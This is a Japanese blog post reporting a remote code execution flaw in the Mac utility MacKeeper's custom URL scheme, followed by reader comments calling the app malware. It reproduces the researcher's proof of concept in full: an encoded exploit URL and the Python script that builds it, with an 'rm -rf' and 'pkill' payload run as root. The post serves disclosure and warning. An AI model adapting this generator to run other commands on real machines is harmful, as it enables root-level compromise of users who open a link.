Mac用ユーティリティアプリ「MacKeeper」にURLスキームを介してOS Xにroot認証要求し任意のコードを実行させる脆弱性が発見される。

スポンサーリンク

 Mac用ユーティリティアプリ「MacKeeper」にURLスキームを介してOS Xにroot認証要求し任意のコードを実行させる脆弱性が発見されたそうです。詳細は以下から。


MacKeeper-Hero


 色々と話題のMacのユーティリティアプリ「MacKeeper」ですが、このMacKeeperに脆弱性が発見されたとiMoreやThe Safe Mac, SecureMacなどが報じています。

注:「MacKeeperはマルウェアだ」とも書かれていますが、今回はそのへんの話は省きます


脆弱性

 この脆弱性を発見したのはセキュリティ研究者のBraden Thomasさんで、内容は「MacKeeperにはURLを介してOS Xにユーザー認証を求め、その後 任意のコードをroot権限で実行させる脆弱性がある」というもので、ThomasさんはこのPoC(Proof-of-Concept)をTwitterに投稿し注意を促しています。

Security researcher Braden Thomas has discovered a serious flaw in the way MacKeeper handles custom URLs that allows arbitrary commands to be run as root with little to no user interaction required. Mr. Thomas released a proof-of-concept (POC) demonstrating how visiting a specially crafted webpage in Safari causes the affected system to execute arbitrary commands – in this case, to uninstall MacKeeper. This flaw appears to be caused by a lack of input validation by MacKeeper when executing commands using its custom URL scheme.

[MacKeeper URL handler remote code execution vulnerability and proof-of-concept (Zero-Day) – SecureMac]

実際に試してみた

 ThomasさんのPoCは、以下のURLを短縮URLにしてユーザーに開かせることで、MacKeeperにユーザー認証を促すことが出来るというもので、


URL-MacKeeper-PoC-Hero

com-zeobit-command:///i/ZBAppController/performActionWithHelperTask:
arguments:/
BAtzdHJlYW10eXBlZIHoA4QBQISEhAhOU1N0cmluZwGEhAhOU09iamVjdACFhAErBk5TVGFz
a4aShISEDE5TRGljdGlvbmFyeQCUhAFpA5KEk5UJQVJHVU1FTlRThpKEhIQHTlNBcnJheQCU
lwKShJOVAi1jhpKEk5U4cm0gLXJmIC9BcHBsaWNhdGlvbnMvTWFjS2VlcGVyLmFwcDtwa2ls
bCAtOSAtYSBNYWNLZWVwZXKGhpKEk5UGUFJPTVBUhpKEk5UzWW91ciBjb21wdXRlciBoYXMg
bWFsd2FyZSB0aGF0IG5lZWRzIHRvIGJlIHJlbW92ZWQuhpKEk5ULTEFVTkNIX1BBVEiGkoST
lQcvYmluL3NohoY=

 実際にMacKeeperをインストールしたMacでURLを開いてみたところ、確かにMacKeeperが起動しユーザー認証を求められました。


2015-05-10 10_52_18
[Gif Anime]

 この後、管理者パスワードを入力するとroot権限で任意のコード(ここでは”rm -rf”でMacKeeper.appを削除する様ですが、VMにクリーンインストールされたYosemiteの環境では実行されませんでした)が実行されるそうで、ThomasさんはこのPoCのソースコードを公開し注意を呼びかけていますが、

import sys,base64
from Foundation import *
RUN_CMD = "rm -rf /Applications/MacKeeper.app;pkill -9 -a MacKeeper"
d = NSMutableData.data()
a = NSArchiver.alloc().initForWritingWithMutableData_(d)
a.encodeValueOfObjCType_at_("@",NSString.stringWithString_("NSTask"))
a.encodeValueOfObjCType_at_("@",NSDictionary.dictionaryWithObjectsAndKeys_(NSString.stringWithString_("/bin/sh"),"LAUNCH_PATH",NSArray.arrayWithObjects_(NSString.stringWithString_("-c"),NSString.stringWithString_(RUN_CMD),None),"ARGUMENTS",NSString.stringWithString_("Your computer has malware that needs to be removed."),"PROMPT",None))
print "com-zeobit-command:///i/ZBAppController/performActionWithHelperTask:arguments:/"+base64.b64encode(d)

 MacKeeper側もこの脆弱性を確認し直ちに修正するとツイートしているので、どうしてもMacKeeperが使いたい方はこの脆弱性が修正されるまでは使用を控えたほうがよさそうです。


関連リンク:
MacKeeper has critical security flaw, says researcher – iMore

Serious MacKeeper vulnerability found – The Safe Mac

MacKeeper URL handler remote code execution vulnerability – SecureMac

コメント

  1. Apple7743 より:

    情弱御用達ツールだろ

  2. Apple7743 より:

    こいら訴えられないの?
    いつも邪魔な広告うざいけど

  3. Apple7743 より:

    >>1 情弱御用達ツールだろ
    わろた

  4. Apple7743 より:

    mackeeperってpornサイトから飛ばされてインスコしろって表示されるマルウェアだろ

  5. Apple7743 より:

    これわざとだろ
    見つかれば「脆弱性です〜直します〜ごめんなさい〜見つけてくれた人ありがと〜」ってごまかせるという確信犯
    最低だよなぁ

  6. Apple7743 より:

    これわりと普通に入れてる人いるよね

  7. Apple7743 より:

    コンプライアンス的に誠実さの感じられないメーカだし
    知ってて黙ってたんじゃないって勘ぐられても仕方ないねぇ
    まあ広告がウザイのは最適化された際にMacの広告主が少ないからってのもあるんだろうけどw

  8. Apple7743 より:

    こいつは一旦入れて、削除すると、「本当に削除するの?それならただで上げるよ!」と
    永久ライセンスをくれるよく分からないアプリ。